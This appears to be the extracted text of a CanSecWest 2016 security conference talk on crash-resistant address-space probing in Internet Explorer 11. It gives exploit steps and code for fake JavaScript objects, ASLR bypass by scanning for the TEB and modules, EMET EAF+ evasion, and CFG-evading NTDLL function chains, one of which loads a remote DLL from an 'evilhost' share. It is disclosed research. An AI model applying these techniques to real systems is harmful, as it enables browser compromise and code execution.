Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space
Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany
Robert Gawlik
Bypassing Different Defense Schemes via Crash-Resistant Probing of - - PowerPoint PPT Presentation
Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space Robert Gawlik Ruhr University Bochum Horst Grtz Institute for IT-Security Bochum, Germany About me Playing with InfoSec since 2010 Currently in academia
Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space
Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany
Robert Gawlik
CanSecWest 2016
About me
Horst Görtz Institute / Ruhr University Bochum
static and dynamic analysis
CanSecWest 2016
Agenda
EMET's UNC library path restriction
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
first execution
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Program should terminate abnormally Crash-Resistance
first execution
CanSecWest 2016
Crash-Resistance
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Instead: Program runs endlessly
Crash-Resistance
first execution
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
first execution
CanSecWest 2016
Crash-Resistance
0:000:x86> g (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895
CanSecWest 2016
Crash-Resistance
0:000:x86> g (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895
pass exception unhandled
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
DispatchMessage: __try { crash() } __except(filter) { } return
Crash-Resistance
execute handler continue execution access violation filter returns 1
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
DispatchMessage: __try { crash() } __except(filter) { } return
Crash-Resistance
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
If a fault is generated, execution is transferred to the end
Program continues running despite producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }
Crash-Resistance
If a fault is generated, execution is transferred to the end
Program continues running despite producing faults
Behind the Scenes (Simplified)
CanSecWest 2016
Crash-Resistance
CanSecWest 2016
Crash-Resistance
(JPEG2000 parsing) [3]
CanSecWest 2016
Crash-Resistance in IE 11
forcing IE into termination (b): if callback() produces no fault, it is executed completely and then started anew (a): if an AV is triggered in callback(), then callback() stops running and is executed anew JS callback() set with setInterval() or setTimeout() in web worker is crash-resistant:
→ usable as side channel
CanSecWest 2016
Memory Scanning
→ Create a type confusion and craft fake JS objects
memory in a crash-resistant way → Discover Thread Environment Block (TEB) → Discover DLL Base Addresses
The Plan:
→ bypass ASLR
CanSecWest 2016
Memory Scanning
Spray the heap
→ Object Array: ObjArr[0] = new String() // saved as reference; bit 0 never set ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1 → Integer Array: IntArr[0] = 4 // saved as 4
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
first element
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 Why this odd index ? (0x100 – 0x10 + 4) / 4 IntArr is aligned to 0x1011f000 – 0x10: occupied header space + 0x100: offset to 0x1011f100 + 0x4: element offset / 0x4: element size → We can expect the element to reside at 0x1011f104
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 IntArr is aligned to 0x1011f000 : first element resides at 0x1011f010 0x10 bytes are taken as header space
CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000 IntArr[(0x100 - 0x10) / 4] = 0x1011f010 Almost! We need to change 01 to 00: → IE will interpret ObjArr[0] as object reference and not as number. → Additionally, we control IntArr: We could set all fields of the object referenced by ObjArr[0]
CanSecWest 2016
Memory Scanning
Trigger a vulnerability to change a byte
inc [eax+0x10] → eax is attacker controlled → possible to change an arbitrary byte and continue execution in JavaScript OR
→ create a type confusion (0x1011f101 becomes 1011f100) => ObjArr[0] is interpreted as object
CanSecWest 2016
Memory Scanning
Creating fake JS Objects jscript9!Js::LiteralString looks like :
typedef struct LiteralString_{ /*0x0*/ VOID* vtable_ptr; /*0x4*/ VOID* type_ptr; // points to type object /*0x8*/ UINT len; /*0xc*/ WCHAR* buf; // string content } LiteralString;
IntArr[0] = 00000007 // type @ 0x1011f010 IntArr[offset] = 0x41414141 // bogus vtable IntArr[offset + 0x4] = 0x1011f010 // points to type IntArr[offset + 0x8] = 0x2 // length IntArr[offset + 0xc] = 0x400000 // address of content
CanSecWest 2016
Memory Scanning
Creating fake JS Objects fakeString = ObjArr[0] // get object element located at 0x1011f100 leak = escape(fakeString) // leak 0x4 bytes from 0x400000 → we have set 0x41414141 as vtable ptr, but escape() still works → fakeString.substring() does not work → vtable lookup → AV
function leak(addr){ intArr[offset + 0xc] = addr return to_dword(unescape(escape(ObjArr[0]))) }
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024) str_addr = leak(0x10110024) str_vtable_ptr = leak(str_addr) str_type_ptr = leak(str_addr + 4) IntArr[offset] = str_vtable_ptr // give fakeString a real vptr! IntArr[offset + 4] = str_type_ptr // real type ptr!
→ fakeString.substring() should work now :)
→ Build your own Uint32Array() to RW complete memory
CanSecWest 2016
Memory Scanning
Creating fake JS Objects
typedef struct Uint32Array_{ /*0x00*/ VOID* vtable_ptr; /*0x04*/ VOID* type_ptr; /*0x08*/ INT NULL; /*0x0c*/ INT NULL; /*0x10*/ VOID* arrayBufferObjectPtr; // can be unset /*0x14*/ INT elemSize; // 4 /*0x18*/ INT arrayBufferOffset; /*0x1c*/ INT nrElements; // 0x7fffffff/4 /*0x20*/ VOID* bufferPtr; // set to 0 /*0x24*/ INT NULL; /*0x28*/ INT NULL; /*0x2c*/ INT NULL; } Uint32Array;
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
We have fake String and Typed Array objects usable to read and write the address space → arbitrary information leak → arbitrary memory write
→ Use fake objects for crash-resistant scanning
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB
TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ? Heuristic yields TEB if we read at the right place → Afterwards, PEB can be resolved Normally we cannot leak the TEB as no references exist to it
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
→ leak() creates implicit flow:
if addr != mapped: return
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
→ leak() creates implicit flow:
if addr != mapped: return
→ use heuristic to discover TEB and leak PEB + LdrData
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
→ if leak() succeeds check for MZ and PE header (isPE())
CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
→ if leak() succeeds check for MZ and PE header (isPE()) → leak more memory: – name of module – size of module
CanSecWest 2016
Memory Scanning
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
code (shellcode)
from certain modules → EMET's max. security setting for IE (blacklist): mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll
EMET5.5
→ can we abuse reads originating from non-blacklisted modules using only JS (no control-flow hijacking)?
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
working (fixed?)
EMET5.5
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
working!!!!!! (fixed?, drunk?)
EMET5.5
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
working!!!!!! (fixed?, drunk?)
EMET5.5
There is something better: Use the Blob!
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
Not blacklisted by EAF+
CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object → Use XMLHttpRequest to retrieve a string copy of the module → Resolve exports within the string copy:
PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2)) p_exp = PE + 0x18 + 0x60 ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2)
...
EMET5.5
CanSecWest 2016
Export Resolving
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
trigger virtual function call with a method of fakeString:
IntArr[offset] = fakeVtable // bogus vtable ptr
fakeString = ObjArr[0] fakeString.whatever()
→
push fakeString // Arg1: controlled content mov eax, [fakeString] // get vtable ptr call [eax + x] // controlled target
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
(1) Collect export functions which have indirect calls (2) Check if indirect call target is a field of first argument (3) Check if parameters for indirect call target are influenced by arguments → Fields of controlled object (first argument) get propagated to parameters before indirect call → chain functions → Last function in chain is the function we want to perform our
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
push fakeString // controlled content mov eax, [fakeString] // get vtable ptr call [eax + 0x20] // fake virtual function (func1) func1(fakeString): ... push [fakeString + 0x10] // = arg3 push [fakeString + 0x04] // = arg2 push fakeString // = arg1 call [fakeString + 0x08] // = func2 func2(arg1, arg2, arg3): ... push arg2 // = [fakeString + 0x04] = CONTEXT* push arg3 // = [fakeString + 0x10] = HANDLE call [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
→ EIP = [Arg1 + 0x2c]
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1 Param1 = EBX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1 Param1 = EBX
→ Param1 = Arg1
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1 Param1 = EBX
→ Param1 = Arg1
EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1 Param1 = EBX
→ Param1 = Arg1
EAX = Arg3 ECX = EAX + 0x10 Param2 = ECX
→ Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
In RtlInsertElementGenericTableFullAvl : Simple Propagation Summary: → EIP = [Arg1 + 0x2c] → Param1 = Arg1 → Param2 = Arg3 + 0x10
CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
→ Chain of five NTDLL functions (Win 8.1 only): RtlLookupElementGenericTableFullAvl (1) RtlInsertElementGenericTableFullAvl (2) RtlLookupElementGenericTableFull (3) RtlTraceDatabaseFind (4) LdrInitShimEngineDynamic (5) Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters
LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)
Param1 has to be within a module's bounds Param2: pointer to remote DLL: \\evilhost\exploit.dll
CanSecWest 2016
Crash-Resistant Export Dispatching
Combining Function Chaining and Crash-Resistance
parameters
MoveFileA(STR, STR) NtGetContextThread(HANDLE, CONTEXT) ...
→ Catched when AV happens within callback() of setInterval() ! → Possibility to subsequently execute several function chains:
MoveFileA() + LoadLibrary() → two chains NtGetContextThread() + NtContinue() → two chains WinExec() + WinExec() + WinExec() → three chains :)
CanSecWest 2016
Crash-Resistant Export Dispatching
CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2)
CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT (1) Get ESP with NtGetContextThread as last function in chain (2) Prepare fake object with CONTEXT for NtContinue: → set EIP to wanted exported function (e.g., system call) → set ESP to free stack space (3) Prepare free stack space: → write parameters for exported function → set return address for exported function to NULL (4) Use virtual function call to launch NtContinue on indirect call site in crash-resistant mode (5) Read return data of system call and proceed to step (2)
TNX to Yang Yu for the NtContinue Trick [5] !
CanSecWest 2016
Mitigations
Fixes and Feedback by Microsoft
Internet Explorer 7-11 (MS15-124) [8]
Windows version: → NtContinue is no valid indirect call target in Windows10 RTM
CanSecWest 2016
References
[1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing [2] http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf [3] https://www.exploit-db.com/docs/37276.pdf [4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf [5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf [6] https://networkx.github.io/ [7] https://github.com/cea-sec/miasm/tree/master/miasm2 [8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx [9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx